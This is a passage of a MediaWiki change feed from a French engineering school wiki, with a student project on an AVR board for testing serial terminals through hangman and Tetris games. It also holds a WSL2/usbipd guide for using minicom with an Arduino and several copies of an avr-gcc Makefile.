	dfu-programmer $(DFU_CHIP) erase&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) flash $(FW16U2)&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) reset&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; 16U2 reflashé. Le port série doit réapparaître.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
clean:&lt;br /&gt;
	rm -f $(OBJ) $(TARGET).elf $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
help:&lt;br /&gt;
	@echo &amp;quot;Cibles utiles :&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make            -&amp;gt; compile et génère $(TARGET).hex&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make upload     -&amp;gt; téléverse sur l'ATmega328P via bootloader (avrdude)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make flash16u2  -&amp;gt; flashe le firmware du pont USB ATmega16U2 (dfu-programmer)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make clean      -&amp;gt; nettoyage&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vidéos de démonstration avec &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt;.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Arduino UNO Minicom Pendu + Tetriss.mp4|vignette|Arduino UNO Minicom Pendu + Tetriss]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Programme de test avancé ==&lt;br /&gt;
&lt;br /&gt;
Archive attachée avec &amp;lt;code&amp;gt;Makefile&amp;lt;/code&amp;gt; intégré. &amp;lt;syntaxhighlight lang=&amp;quot;makefile&amp;quot;&amp;gt;&lt;br /&gt;
# ========= Projet =========&lt;br /&gt;
TARGET  = program&lt;br /&gt;
MCU     = atmega328p&lt;br /&gt;
F_CPU   = 16000000UL&lt;br /&gt;
&lt;br /&gt;
# Tes sources C (modifie si besoin)&lt;br /&gt;
SRC     = main.c serial.c timer.c hangman.c tetris.c&lt;br /&gt;
OBJ     = $(SRC:.c=.o)&lt;br /&gt;
&lt;br /&gt;
# ========= Outils =========&lt;br /&gt;
CC      = avr-gcc&lt;br /&gt;
OBJCOPY = avr-objcopy&lt;br /&gt;
CFLAGS  = -mmcu=$(MCU) -DF_CPU=$(F_CPU) -Os -W -Wall -Wextra -std=c99&lt;br /&gt;
&lt;br /&gt;
# ========= Port série (à adapter) =========&lt;br /&gt;
# Linux / WSL&lt;br /&gt;
PORT    = /dev/ttyACM0&lt;br /&gt;
# Windows (exemple)&lt;br /&gt;
# PORT  = COM4&lt;br /&gt;
# macOS (exemple)&lt;br /&gt;
# PORT  = /dev/tty.usbmodem14101&lt;br /&gt;
&lt;br /&gt;
# ========= avrdude (bootloader Optiboot UNO) =========&lt;br /&gt;
AVRDUDE     = avrdude&lt;br /&gt;
PROGRAMMER  = arduino&lt;br /&gt;
BAUD        = 115200&lt;br /&gt;
&lt;br /&gt;
# ========= dfu-programmer (ATmega16U2 en DFU) =========&lt;br /&gt;
DFU_CHIP    = atmega16u2&lt;br /&gt;
# Met le chemin vers le firmware USB-série officiel Uno R3 (ou ton .hex LUFA)&lt;br /&gt;
# Exemples : &lt;br /&gt;
#  - Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
#  - Arduino-COMBINED-dfu-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
FW16U2      = Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
&lt;br /&gt;
# ========= Règles par défaut =========&lt;br /&gt;
.PHONY: all clean upload flash16u2 help&lt;br /&gt;
&lt;br /&gt;
all: $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
$(TARGET).elf: $(OBJ)&lt;br /&gt;
	$(CC) $(CFLAGS) -o $@ $^&lt;br /&gt;
&lt;br /&gt;
%.o: %.c&lt;br /&gt;
	$(CC) $(CFLAGS) -c $&amp;lt; -o $@&lt;br /&gt;
&lt;br /&gt;
%.hex: %.elf&lt;br /&gt;
	$(OBJCOPY) -O ihex -R .eeprom $&amp;lt; $@&lt;br /&gt;
&lt;br /&gt;
# ========= Téléversement sur l'ATmega328P (comme l'IDE Arduino) =========&lt;br /&gt;
upload: $(TARGET).hex&lt;br /&gt;
	$(AVRDUDE) -p m328p -c $(PROGRAMMER) -P $(PORT) -b $(BAUD) -D -U flash:w:$&amp;lt;:i&lt;br /&gt;
&lt;br /&gt;
# ========= Flash du 16U2 en DFU (optionnel) =========&lt;br /&gt;
flash16u2:&lt;br /&gt;
	@if [ ! -f &amp;quot;$(FW16U2)&amp;quot; ]; then echo &amp;quot;&amp;gt;&amp;gt; ERREUR: FW16U2 introuvable: $(FW16U2)&amp;quot;; exit 1; fi&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; Assure-toi que l'ATmega16U2 est en mode DFU (RESET↔GND sur header ICSP du 16U2).&amp;quot;&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) erase&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) flash $(FW16U2)&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) reset&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; 16U2 reflashé. Le port série doit réapparaître.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
clean:&lt;br /&gt;
	rm -f $(OBJ) $(TARGET).elf $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
help:&lt;br /&gt;
	@echo &amp;quot;Cibles utiles :&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make            -&amp;gt; compile et génère $(TARGET).hex&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make upload     -&amp;gt; téléverse sur l'ATmega328P via bootloader (avrdude)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make flash16u2  -&amp;gt; flashe le firmware du pont USB ATmega16U2 (dfu-programmer)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make clean      -&amp;gt; nettoyage&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vidéos de démonstration avec &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt;.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Arduino UNO Minicom Pendu + Tetris.mp4|vignette]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Démonstration de fonctionnement sur terminaux anciens ==&lt;br /&gt;
&lt;br /&gt;
Vidéos de démonstration.&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Arduino_UNO_Minicom_Pendu_%2B_Tetriss.mp4&amp;diff=10284</id>
		<title>Fichier:Arduino UNO Minicom Pendu + Tetriss.mp4</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Arduino_UNO_Minicom_Pendu_%2B_Tetriss.mp4&amp;diff=10284"/>
		<updated>2025-08-20T20:57:13Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Arduino UNO Minicom Pendu + Tetriss&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2024/2025_EC2&amp;diff=10247</id>
		<title>SE4 2024/2025 EC2</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2024/2025_EC2&amp;diff=10247"/>
		<updated>2025-08-18T12:50:22Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Projet KiCAD de la carte */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Vous allez concevoir, réaliser et programmer un système embarqué de test de terminaux série assez souvent utilisés pour l'administration système et réseau.&lt;br /&gt;
&lt;br /&gt;
Les terminaux visés sont des terminaux logiciels comme &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; tournant sur un système d'exploitation moderne mais aussi d'ancien terminaux comme un Ampex 210 ou un Televideo TVI-920C.&lt;br /&gt;
&lt;br /&gt;
Vous commencerez par concevoir votre carte dont le coeur doit être un microcontrôleur AVR et qui doit pouvoir se connecter en USB/série à un PC moderne mais aussi à d'anciens terminaux via des connecteurs DB9 et DB25 (voir les manuels des terminaux pour le brochage). L'utilisateur doit aussi pouvoir sélectionner le mode de test et le type de terminal. Une réflexion doit être menée sur l'alimentation de la carte. Vous avez le droit à un budget de 50 euros pour la carte, les composants et le port.&lt;br /&gt;
&lt;br /&gt;
Une fois la carte conçue et validée par l'encadrant vous pourrez vous pencher sur la programmation de la carte. Cette programmation se fera uniquement en utilisant la version AVR de &amp;lt;code&amp;gt;gcc&amp;lt;/code&amp;gt; et l'utilitaire &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;. Vous pouvez utiliser l'Arduino Uno fourni pour les premières versions de votre programme de test de terminaux. Comme terminal vous pouvez utiliser &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; dans un premier temps.&lt;br /&gt;
&lt;br /&gt;
Le logiciel de test doit proposer plusieurs tests, un test fonctionnant en ASCII pur, par exemple un jeu de pendu et un jeu plus complexe utilisant des séquences de déplacement du curseur sur l'écran, par exemple un jeu tétris. Pour les séquences permettant l'adressage du curseur, vous pouvez utilisez le protocole VT100 pour &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt;. Pour les terminaux plus anciens, vérifiez quels protocoles avancés de gestion d'affichage sont disponibles. Le cas échéant, faites en sorte que votre test avancé puisse utiliser des protocoles différents sélectionnés par l'utilisateur via les contrôles sur votre carte.&lt;br /&gt;
&lt;br /&gt;
L'épreuve sera considérée comme un succès s'il est possible de jouer à tétris sur un des deux anciens terminaux.&lt;br /&gt;
&lt;br /&gt;
Il s'agit là d'un cahier des charges initial qui peut être revu en cas d'ambigüité. Vous avez jusqu'au 1 septembre pour réaliser le travail demandé. Il vous est explicitement demandé de produire un travail régulier le plus tôt possible *et* de faire des rapports réguliers (obligatoirement au travers de ce Wiki) à votre encadrant. S'y prendre à la dernière minute avec un seul retour à quelques jours de la date limite est une garantie d'échec.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Le matériel nécessaire est constitué :&lt;br /&gt;
* d'un PC pour la conception de la carte et la mise au point du programme embarqué (à votre charge) ;&lt;br /&gt;
* d'un Arduino UNO pour le test de la version initiale de votre programme embarqué (fourni par l'encadrant) ;&lt;br /&gt;
* de terminaux Ampex 210 et Televideo TVI-920C (à utiliser à l'école fin août).&lt;br /&gt;
&lt;br /&gt;
= Foire aux questions =&lt;br /&gt;
&lt;br /&gt;
* L'épreuve complémentaire est-elle réalisable au domicile de l'élève ?&lt;br /&gt;
&lt;br /&gt;
La conception de la carte est réalisable à domicile, la fabrication de la carte est prévue à l'extérieur (50 euros maximum, composants et port compris), il faut donc une adresse postale valide pour recevoir le PCB, la réalisation de la carte peut être externalisée (dans la limite des 50 euros) ou à domicile en utilisant un fer à souder personnel, le développement initial est réalisable sur l'Arduino fourni (et un PC personnel), les tests basiques et avancés sont réalisables à domicile (Arduino et PC personnel), le test sur les anciens terminaux est à prévoir fin août à l'école. Il n'est pas prévu d'accès aux ressources de l'école avant fin août.&lt;br /&gt;
&lt;br /&gt;
* Où est disponible l'Arduino UNO ?&lt;br /&gt;
&lt;br /&gt;
Comme indiqué dans le courriel du 15 juillet, le matériel est disponible à l'accueil de l'école. A rendre au premier septembre 2025.&lt;br /&gt;
&lt;br /&gt;
* Comment programmer la carte ?&lt;br /&gt;
&lt;br /&gt;
Comme indiqué dans le sujet, la carte doit pouvoir se programmer par DFU/USB. Il est conseillé d'utiliser un système d'exploitation Linux pour le développement du programme embarqué mais vous pouvez utiliser tout autre système du moment que vous assumez ce choix.&lt;br /&gt;
&lt;br /&gt;
* Comment sera testée la carte réalisée ?&lt;br /&gt;
&lt;br /&gt;
La carte sera testée par l'encadrant d'abord en utilisant l'utilitaire &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; avec son émulation VT100 sous un Linux mais l'élève peut tester son code avec tout autre outil. Un second test sera conduit sur les anciens terminaux série de l'école.&lt;br /&gt;
&lt;br /&gt;
* Précisions sur les jeux &amp;quot;pendu&amp;quot; et &amp;quot;tétris&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les jeux évoqués doivent pouvoir être joué à partir de l'écran et des touches des terminaux. Les éventuelles touches sur la cartes ne servent qu'à sélectionner le test et le protocole de commandes du terminal (VT100 ou autre).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== COMPTE-RENDU DU 28/07/2025 ===&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;u&amp;gt;Préliminaires – Connexion d’un Arduino via USB à Minicom dans WSL2&amp;lt;/u&amp;gt; ====&lt;br /&gt;
Dans ce projet, il est nécessaire de communiquer avec un microcontrôleur (ici, un '''Arduino Uno''') connecté en '''USB''' à un PC sous '''Windows 11''', en utilisant un outil typiquement '''Linux''' : '''Minicom''', un terminal série.&lt;br /&gt;
&lt;br /&gt;
Or, Minicom ne fonctionne pas directement sur Windows, et nécessite un environnement Linux. Pour cette raison, nous avons mis en place un environnement '''WSL2''' (Windows Subsystem for Linux) avec '''Ubuntu''', capable d'accéder au port USB de l'Arduino.&lt;br /&gt;
&lt;br /&gt;
Cette section détaille toutes les étapes techniques pour configurer correctement cette chaîne de communication entre :&lt;br /&gt;
&lt;br /&gt;
* l’'''IDE Arduino''' sous Windows pour téléverser les programmes,&lt;br /&gt;
* l’environnement '''Ubuntu WSL2''' pour dialoguer via le terminal Minicom.&lt;br /&gt;
&lt;br /&gt;
===== &amp;lt;u&amp;gt;Environnement logiciel utilisé&amp;lt;/u&amp;gt; =====&lt;br /&gt;
&lt;br /&gt;
* '''Système d’exploitation''' : Windows 11&lt;br /&gt;
* '''Distribution Linux via WSL2''' : Ubuntu 20.04&lt;br /&gt;
* '''Périphérique série utilisé''' : Arduino Uno &lt;br /&gt;
* '''Outils utilisés''' :&lt;br /&gt;
** WSL2&lt;br /&gt;
** usbipd-win (redirection USB vers WSL)&lt;br /&gt;
** &amp;lt;code&amp;gt;Minicom&amp;lt;/code&amp;gt; (communication série Linux)&lt;br /&gt;
&lt;br /&gt;
==== Redirection USB du port Arduino vers WSL ====&lt;br /&gt;
Par défaut, un port USB comme '''COM9''' sur Windows '''n'est pas visible directement''' sous WSL. Pour le rendre accessible à Ubuntu, il faut utiliser '''usbipd-win'''.&lt;br /&gt;
&lt;br /&gt;
==== Installer usbipd ====&lt;br /&gt;
Dans PowerShell :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;winget install usbipd&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redémarrer le système W11 une fois l'installation terminée.&lt;br /&gt;
&lt;br /&gt;
=== Identifier le port USB de l’Arduino ===&lt;br /&gt;
Branche l’Arduino via USB.&lt;br /&gt;
&lt;br /&gt;
Dans PowerShell :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;usbipd list&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cela affiche tous les périphériques USB connectés. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;BUSID  VID:PID    DEVICE&lt;br /&gt;
1-1    2341:0043  Périphérique série USB (COM9)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ici, le '''BUSID''' est &amp;lt;code&amp;gt;1-1&amp;lt;/code&amp;gt; et l’Arduino est détecté sur le '''port COM9'''.&lt;br /&gt;
&lt;br /&gt;
=== Partager puis attacher le port à WSL ===&lt;br /&gt;
Toujours dans PowerShell :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;usbipd bind --busid 1-1&lt;br /&gt;
usbipd attach --busid 1-1 --wsl&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vérifier dans Ubuntu que le port est bien présent&lt;br /&gt;
Dans Ubuntu (WSL) :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ls /dev/tty*&lt;br /&gt;
/dev/tty    /dev/tty21  /dev/tty35  /dev/tty49  /dev/tty62&lt;br /&gt;
/dev/tty0   /dev/tty22  /dev/tty36  /dev/tty5   /dev/tty63&lt;br /&gt;
/dev/tty1   /dev/tty23  /dev/tty37  /dev/tty50  /dev/tty7&lt;br /&gt;
/dev/tty10  /dev/tty24  /dev/tty38  /dev/tty51  /dev/tty8&lt;br /&gt;
/dev/tty11  /dev/tty25  /dev/tty39  /dev/tty52  /dev/tty9&lt;br /&gt;
/dev/tty12  /dev/tty26  /dev/tty4   /dev/tty53  /dev/ttyACM0&lt;br /&gt;
/dev/tty13  /dev/tty27  /dev/tty40  /dev/tty54  /dev/ttyS0&lt;br /&gt;
/dev/tty14  /dev/tty28  /dev/tty41  /dev/tty55  /dev/ttyS1&lt;br /&gt;
/dev/tty15  /dev/tty29  /dev/tty42  /dev/tty56  /dev/ttyS2&lt;br /&gt;
/dev/tty16  /dev/tty3   /dev/tty43  /dev/tty57  /dev/ttyS3&lt;br /&gt;
/dev/tty17  /dev/tty30  /dev/tty44  /dev/tty58  /dev/ttyS4&lt;br /&gt;
/dev/tty18  /dev/tty31  /dev/tty45  /dev/tty59  /dev/ttyS5&lt;br /&gt;
/dev/tty19  /dev/tty32  /dev/tty46  /dev/tty6   /dev/ttyS6&lt;br /&gt;
/dev/tty2   /dev/tty33  /dev/tty47  /dev/tty60  /dev/ttyS7&lt;br /&gt;
/dev/tty20  /dev/tty34  /dev/tty48  /dev/tty61&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Ce périphérique correspond à l’Arduino connecté en USB.&lt;br /&gt;
C’est ce port que Minicom utilisera pour la communication série.&lt;br /&gt;
&lt;br /&gt;
Exemple de sketch Arduino pour test de communication&lt;br /&gt;
Ce sketch permet de tester si la communication fonctionne bien.&lt;br /&gt;
Téléverser via l’IDE Arduino sous Windows avant d’attacher le périphérique à WSL :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;cpp&amp;quot;&amp;gt;&lt;br /&gt;
void setup() {&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void loop() {&lt;br /&gt;
  if (Serial.available()) {&lt;br /&gt;
    char c = Serial.read();&lt;br /&gt;
    Serial.print(&amp;quot;Vous avez tapé : &amp;quot;);&lt;br /&gt;
    Serial.println(c);&lt;br /&gt;
  }&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Alternance Windows ↔ WSL &lt;br /&gt;
&lt;br /&gt;
Pour téléverser un sketch depuis Windows :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;usbipd detach --busid 1-1&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
(Le périphérique redevient accessible dans l’IDE Arduino sous Windows)&lt;br /&gt;
&lt;br /&gt;
Pour basculer la communication vers Ubuntu (Minicom) :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;usbipd bind --busid 1-1&lt;br /&gt;
usbipd attach --busid 1-1 --wsl&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Cette alternance peut être répétée autant que nécessaire.&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
&lt;br /&gt;
== Projet KiCAD de la carte ==&lt;br /&gt;
Lien Gitea avec Code Arduino, Code C, Makefile, fichiers KiCAD : https://gitea.plil.fr/pcasimir/Test-Terminaux_Rattrapages-SE4-2025.git&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Terminal-Testing SCH KiCAD.pdf|alt=Terminal-Testing SCH KiCAD|vignette|Terminal-Testing SCH KiCAD]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Programme de test ASCII ==&lt;br /&gt;
&lt;br /&gt;
Archive attachée avec &amp;lt;code&amp;gt;Makefile&amp;lt;/code&amp;gt; intégré. &amp;lt;syntaxhighlight lang=&amp;quot;makefile&amp;quot;&amp;gt;&lt;br /&gt;
# ========= Projet =========&lt;br /&gt;
TARGET  = program&lt;br /&gt;
MCU     = atmega328p&lt;br /&gt;
F_CPU   = 16000000UL&lt;br /&gt;
&lt;br /&gt;
# Tes sources C&lt;br /&gt;
SRC     = main.c serial.c timer.c hangman.c tetris.c&lt;br /&gt;
OBJ     = $(SRC:.c=.o)&lt;br /&gt;
&lt;br /&gt;
# ========= Outils =========&lt;br /&gt;
CC      = avr-gcc&lt;br /&gt;
OBJCOPY = avr-objcopy&lt;br /&gt;
CFLAGS  = -mmcu=$(MCU) -DF_CPU=$(F_CPU) -Os -W -Wall -Wextra -std=c99&lt;br /&gt;
&lt;br /&gt;
# ========= Port série (à adapter si besoin) =========&lt;br /&gt;
# Linux / WSL&lt;br /&gt;
PORT    = /dev/ttyACM0&lt;br /&gt;
# Windows (exemple)&lt;br /&gt;
# PORT  = COM4&lt;br /&gt;
# macOS (exemple)&lt;br /&gt;
# PORT  = /dev/tty.usbmodem14101&lt;br /&gt;
&lt;br /&gt;
# ========= avrdude (bootloader Optiboot UNO) =========&lt;br /&gt;
AVRDUDE     = avrdude&lt;br /&gt;
PROGRAMMER  = arduino&lt;br /&gt;
BAUD        = 115200&lt;br /&gt;
&lt;br /&gt;
# ========= dfu-programmer (ATmega16U2 en DFU) =========&lt;br /&gt;
DFU_CHIP    = atmega16u2&lt;br /&gt;
# Met le chemin vers le firmware USB-série officiel Uno R3 (ou ton .hex LUFA)&lt;br /&gt;
# Exemples : &lt;br /&gt;
#  - Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
#  - Arduino-COMBINED-dfu-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
FW16U2      = Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
&lt;br /&gt;
# ========= Règles par défaut =========&lt;br /&gt;
.PHONY: all clean upload flash16u2 help&lt;br /&gt;
&lt;br /&gt;
all: $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
$(TARGET).elf: $(OBJ)&lt;br /&gt;
	$(CC) $(CFLAGS) -o $@ $^&lt;br /&gt;
&lt;br /&gt;
%.o: %.c&lt;br /&gt;
	$(CC) $(CFLAGS) -c $&amp;lt; -o $@&lt;br /&gt;
&lt;br /&gt;
%.hex: %.elf&lt;br /&gt;
	$(OBJCOPY) -O ihex -R .eeprom $&amp;lt; $@&lt;br /&gt;
&lt;br /&gt;
# ========= Téléversement sur l'ATmega328P (comme l'IDE Arduino) =========&lt;br /&gt;
upload: $(TARGET).hex&lt;br /&gt;
	$(AVRDUDE) -p m328p -c $(PROGRAMMER) -P $(PORT) -b $(BAUD) -D -U flash:w:$&amp;lt;:i&lt;br /&gt;
&lt;br /&gt;
# ========= Flash du 16U2 en DFU (optionnel) =========&lt;br /&gt;
flash16u2:&lt;br /&gt;
	@if [ ! -f &amp;quot;$(FW16U2)&amp;quot; ]; then echo &amp;quot;&amp;gt;&amp;gt; ERREUR: FW16U2 introuvable: $(FW16U2)&amp;quot;; exit 1; fi&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; Assure-toi que l'ATmega16U2 est en mode DFU (RESET↔GND sur header ICSP du 16U2).&amp;quot;&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) erase&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) flash $(FW16U2)&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) reset&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; 16U2 reflashé. Le port série doit réapparaître.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
clean:&lt;br /&gt;
	rm -f $(OBJ) $(TARGET).elf $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
help:&lt;br /&gt;
	@echo &amp;quot;Cibles utiles :&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make            -&amp;gt; compile et génère $(TARGET).hex&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make upload     -&amp;gt; téléverse sur l'ATmega328P via bootloader (avrdude)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make flash16u2  -&amp;gt; flashe le firmware du pont USB ATmega16U2 (dfu-programmer)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make clean      -&amp;gt; nettoyage&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vidéos de démonstration avec &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt;.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Arduino UNO Minicom Pendu + Tetris.mp4|gauche|vignette]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Programme de test avancé ==&lt;br /&gt;
&lt;br /&gt;
Archive attachée avec &amp;lt;code&amp;gt;Makefile&amp;lt;/code&amp;gt; intégré. &amp;lt;syntaxhighlight lang=&amp;quot;makefile&amp;quot;&amp;gt;&lt;br /&gt;
# ========= Projet =========&lt;br /&gt;
TARGET  = program&lt;br /&gt;
MCU     = atmega328p&lt;br /&gt;
F_CPU   = 16000000UL&lt;br /&gt;
&lt;br /&gt;
# Tes sources C (modifie si besoin)&lt;br /&gt;
SRC     = main.c serial.c timer.c hangman.c tetris.c&lt;br /&gt;
OBJ     = $(SRC:.c=.o)&lt;br /&gt;
&lt;br /&gt;
# ========= Outils =========&lt;br /&gt;
CC      = avr-gcc&lt;br /&gt;
OBJCOPY = avr-objcopy&lt;br /&gt;
CFLAGS  = -mmcu=$(MCU) -DF_CPU=$(F_CPU) -Os -W -Wall -Wextra -std=c99&lt;br /&gt;
&lt;br /&gt;
# ========= Port série (à adapter) =========&lt;br /&gt;
# Linux / WSL&lt;br /&gt;
PORT    = /dev/ttyACM0&lt;br /&gt;
# Windows (exemple)&lt;br /&gt;
# PORT  = COM4&lt;br /&gt;
# macOS (exemple)&lt;br /&gt;
# PORT  = /dev/tty.usbmodem14101&lt;br /&gt;
&lt;br /&gt;
# ========= avrdude (bootloader Optiboot UNO) =========&lt;br /&gt;
AVRDUDE     = avrdude&lt;br /&gt;
PROGRAMMER  = arduino&lt;br /&gt;
BAUD        = 115200&lt;br /&gt;
&lt;br /&gt;
# ========= dfu-programmer (ATmega16U2 en DFU) =========&lt;br /&gt;
DFU_CHIP    = atmega16u2&lt;br /&gt;
# Met le chemin vers le firmware USB-série officiel Uno R3 (ou ton .hex LUFA)&lt;br /&gt;
# Exemples : &lt;br /&gt;
#  - Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
#  - Arduino-COMBINED-dfu-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
FW16U2      = Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
&lt;br /&gt;
# ========= Règles par défaut =========&lt;br /&gt;
.PHONY: all clean upload flash16u2 help&lt;br /&gt;
&lt;br /&gt;
all: $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
$(TARGET).elf: $(OBJ)&lt;br /&gt;
	$(CC) $(CFLAGS) -o $@ $^&lt;br /&gt;
&lt;br /&gt;
%.o: %.c&lt;br /&gt;
	$(CC) $(CFLAGS) -c $&amp;lt; -o $@&lt;br /&gt;
&lt;br /&gt;
%.hex: %.elf&lt;br /&gt;
	$(OBJCOPY) -O ihex -R .eeprom $&amp;lt; $@&lt;br /&gt;
&lt;br /&gt;
# ========= Téléversement sur l'ATmega328P (comme l'IDE Arduino) =========&lt;br /&gt;
upload: $(TARGET).hex&lt;br /&gt;
	$(AVRDUDE) -p m328p -c $(PROGRAMMER) -P $(PORT) -b $(BAUD) -D -U flash:w:$&amp;lt;:i&lt;br /&gt;
&lt;br /&gt;
# ========= Flash du 16U2 en DFU (optionnel) =========&lt;br /&gt;
flash16u2:&lt;br /&gt;
	@if [ ! -f &amp;quot;$(FW16U2)&amp;quot; ]; then echo &amp;quot;&amp;gt;&amp;gt; ERREUR: FW16U2 introuvable: $(FW16U2)&amp;quot;; exit 1; fi&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; Assure-toi que l'ATmega16U2 est en mode DFU (RESET↔GND sur header ICSP du 16U2).&amp;quot;&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) erase&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) flash $(FW16U2)&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) reset&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; 16U2 reflashé. Le port série doit réapparaître.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
clean:&lt;br /&gt;
	rm -f $(OBJ) $(TARGET).elf $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
help:&lt;br /&gt;
	@echo &amp;quot;Cibles utiles :&amp;quot;&lt;br /&gt;
